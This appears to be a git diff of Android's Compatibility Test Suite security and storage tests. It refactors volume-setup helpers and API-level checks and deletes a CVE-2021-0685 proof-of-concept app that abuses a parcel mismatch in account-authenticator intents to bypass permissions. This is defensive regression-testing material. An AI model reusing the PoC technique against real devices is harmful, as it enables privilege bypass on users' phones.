--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
@@ -45,12 +45,10 @@
     }
 
     private static void createPublicVolume() throws Exception {
-        if (TestUtils.getCurrentPublicVolumeName() == null) {
-            TestUtils.createNewPublicVolume();
-            assertWithMessage("Expected newly created public volume name to be not null")
+        TestUtils.preparePublicVolume();
+        assertWithMessage("Expected newly created public volume name to be not null")
                     .that(TestUtils.getCurrentPublicVolumeName())
                     .isNotNull();
-        }
     }
     private static void setupStorage() throws Exception {
         if (!getContext().getPackageManager().isInstantApp()) {
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 64e500a..041e5ce 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -1575,16 +1575,64 @@
         return true;
     }
 
+    private static boolean isVolumeMounted(String type) {
+        try {
+            final String volume = executeShellCommand("sm list-volumes " + type).trim();
+            return volume != null && volume.contains("mounted");
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    private static boolean isPublicVolumeMounted() {
+        return isVolumeMounted("public");
+    }
+
+    private static boolean isEmulatedVolumeMounted() {
+        return isVolumeMounted("emulated");
+    }
+
+    /**
+     * Prepare or create a public volume for testing
+     */
+    public static void preparePublicVolume() throws Exception {
+        if (getCurrentPublicVolumeName() == null) {
+            createNewPublicVolume();
+            return;
+        }
+
+        if (!Boolean.parseBoolean(executeShellCommand("sm has-adoptable").trim())) {
+            unmountAppDirs();
+            // ensure the volume is visible
+            executeShellCommand("sm set-force-adoptable on");
+            Thread.sleep(2000);
+            pollForCondition(TestUtils::isPublicVolumeMounted,
+                    "Timed out while waiting for public volume");
+            pollForCondition(TestUtils::isEmulatedVolumeMounted,
+                    "Timed out while waiting for emulated volume");
+        }
+    }
+
+    /**
+     * Unmount app's obb and data dirs.
+     */
+    public static void unmountAppDirs() throws Exception {
+        if (TestUtils.isObbDirUnmounted()) {
+            return;
+        }
+        executeShellCommand("sm unmount-app-data-dirs " + getContext().getPackageName() + " "
+                + android.os.Process.myPid() + " " + android.os.UserHandle.myUserId());
+        pollForCondition(TestUtils::isObbDirUnmounted,
+                "Timed out while waiting for unmounting obb dir");
+    }
+
     /**
      * Creates a new virtual public volume and returns the volume's name.
      */
     public static void createNewPublicVolume() throws Exception {
         // Unmount data and obb dirs for test app first so test app won't be killed during
         // volume unmount.
-        executeShellCommand("sm unmount-app-data-dirs " + getContext().getPackageName() + " "
-                    + android.os.Process.myPid() + " " + android.os.UserHandle.myUserId());
-        pollForCondition(TestUtils::isObbDirUnmounted,
-                "Timed out while waiting for unmounting obb dir");
+        unmountAppDirs();
         executeShellCommand("sm set-force-adoptable on");
         executeShellCommand("sm set-virtual-disk true");
         Thread.sleep(2000);
diff --git a/hostsidetests/seccomp/AndroidTest.xml b/hostsidetests/seccomp/AndroidTest.xml
index d302c1c..49e19c5 100644
--- a/hostsidetests/seccomp/AndroidTest.xml
+++ b/hostsidetests/seccomp/AndroidTest.xml
@@ -22,6 +22,7 @@
     <!-- Do test multiple ABIs, because the seccomp filter differs per ABI -->
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSeccompDeviceApp.apk" />
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index fd39c91..47979f6 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceInfoCollector">
         <option name="apk" value="CtsDeviceInfo.apk"/>
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 11be8cb..3223f46 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -408,7 +408,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index d9da47a..1351be9 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -70,7 +70,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index 6122e09..35a9942 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -89,7 +89,9 @@
     private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= ANDROID_S_API_LEVEL) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= ANDROID_S_API_LEVEL) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 7fc8431..3ec96e3 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -189,7 +189,9 @@
     private void assumeSecurityModelCompat() throws Exception {
         // This feature name check only applies to devices that first shipped with
         // SC or later.
-        if (PropertyUtil.getFirstApiLevel(mDevice) >= 31) {
+        final int firstApiLevel = Math.min(PropertyUtil.getFirstApiLevel(mDevice),
+                PropertyUtil.getVendorApiLevel(mDevice));
+        if (firstApiLevel >= 31) {
             assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
                     getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
         }
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index bd55c9b..c6ab75b 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -19,7 +19,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+      
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHostLaunchAnyWhereApp.apk" />
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
index efc45c4..4bf8be0 100755
--- a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -125,6 +125,8 @@
             outMsg->body.motion.xCursorPosition = msg.body.motion.xCursorPosition;
             // float yCursorPosition
             outMsg->body.motion.yCursorPosition = msg.body.motion.yCursorPosition;
+            // uint32_t displayOrientation
+            outMsg->body.motion.displayOrientation = msg.body.motion.displayOrientation;
             // int32_t displayW
             outMsg->body.motion.displayWidth = msg.body.motion.displayWidth;
             // int32_t displayH
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
index 5f9325d..63c4d09 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
@@ -43,6 +43,10 @@
       const std::vector<uint8_t>& replyData __unused) {
     return binder::Status::ok();
   }
+
+  virtual binder::Status framesProcessed(int32_t frames __unused) override {
+      return binder::Status::ok();
+  }
 };
 
 sp<IEffect> gEffect;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
index 1ca3f7e..ae94370 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9547",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
index 4af3fe4..0faa893 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9564",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
index 68def73..fe69d22 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9593/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9593",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
index 9d4946f..3e02143 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9594/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2018-9594",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
index a4d2d24..2901a02 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2178/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2019-2178",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
index b4078ae..085fc4c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0420/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2020-0420",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
index bdd18d1..6595bcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-29374/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2020-29374",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
index 8a3e8d0..85d5431 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2021-0689",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 5f9b25f..20be581 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
@@ -23,14 +24,13 @@
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.NullOutputReceiver;
-import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.sts.common.tradefed.testtype.SecurityTestCase;
 import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedOutputStream;
@@ -38,17 +38,14 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.concurrent.TimeoutException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.regex.Pattern;
-import java.lang.Thread;
 
 public class AdbUtils {
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java
new file mode 100644
index 0000000..0763ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20904 extends NonRootSecurityTestCase {
+
+    // b/246300271
+    // Vulnerable library : services.jar
+    // Vulnerable module : Not applicable
+    // Is Play Managed : No
+    @AsbSecurityTest(cveBugId = 246300272)
+    @Test
+    public void testPocCVE_2023_20904() {
+        final String testPkg = "android.security.cts.CVE_2023_20904";
+        try {
+            installPackage("CVE_2023_20904.apk");
+            runDeviceTests(testPkg, testPkg + "." + "DeviceTest", "testgetTrampolineIntent");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
index 7f819bc..ef3e6cd 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/BUG-182282630/AndroidManifest.xml
@@ -17,6 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.security.cts.BUG_182282630"
           android:targetSandboxVersion="2">
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <application
         android:label="@string/app_name"
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
index 63ac1ca..f846854 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BUG-183963253",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
index 16094ca..0673f33 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0478",
     defaults: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
index 9adb876..cd7bef5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0586",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
index 4afdb32..1fcf212 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0591",
     defaults: [
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
deleted file mode 100644
index f508468..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="android.security.cts.cve_2021_0685"
-    android:targetSandboxVersion="2"
-    android:versionCode="1"
-    android:versionName="1.0">
-
-    <application
-        android:allowBackup="true"
-        android:label="CVE-2021-0685"
-        android:supportsRtl="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".PocActivity"
-            android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity"
-            android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <service android:exported="true" android:name=".PocAuthService">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
-            </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
-        </service>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.cve_2021_0685" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
deleted file mode 100644
index 0c5065c..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2021 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:orientation="vertical"
-    android:id="@+id/parent"
-    android:background="#FFFFFF"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
deleted file mode 100644
index f5f29ed..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-    private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
-    private static final int LAUNCH_TIMEOUT_MS = 20000;
-    private UiDevice mDevice;
-
-    @Before
-    public void startMainActivityFromHomeScreen() {
-        mDevice = UiDevice.getInstance(getInstrumentation());
-        try {
-            mDevice.wakeUp();
-            mDevice.pressMenu();
-            mDevice.pressHome();
-        } catch (Exception e) {
-            throw new RuntimeException("Could not wake up the phone", e);
-        }
-        Context context = getApplicationContext();
-        assertNotNull(context);
-        PackageManager packageManager = context.getPackageManager();
-        assertNotNull(packageManager);
-        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
-        assertNotNull(intent);
-        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        context.startActivity(intent);
-        mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
-    }
-
-    @Test
-    public void testPackageElementPresence() {
-        BySelector selector = By.pkg(TEST_PKG);
-        String message = "Device is vulnerable to b/191055353, indicating a permission"
-                + " bypass due to a possible parcel serialization/deserialization"
-                + " mismatch in ParsedIntentInfo.java";
-        assertNotNull(message, mDevice.findObject(selector));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
deleted file mode 100644
index df2ee5a..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AccountManager;
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class PocActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_main);
-        Bundle verifyBundle = new Bundle();
-        verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class));
-        Bundle testBundle = new Bundle();
-        Intent intent =
-                new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity");
-        testBundle.putParcelable(AccountManager.KEY_INTENT, intent);
-
-        PocAmbiguator ambiguator = new PocAmbiguator();
-        try {
-            PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle);
-        } catch (Exception exception) {
-            exception.printStackTrace();
-        }
-        startActivity(new Intent()
-                .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity")
-                .putExtra("allowableAccountTypes",
-                        new String[] {"android.security.cts.cve_2021_0685.account"}));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
deleted file mode 100644
index 75b04ca..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
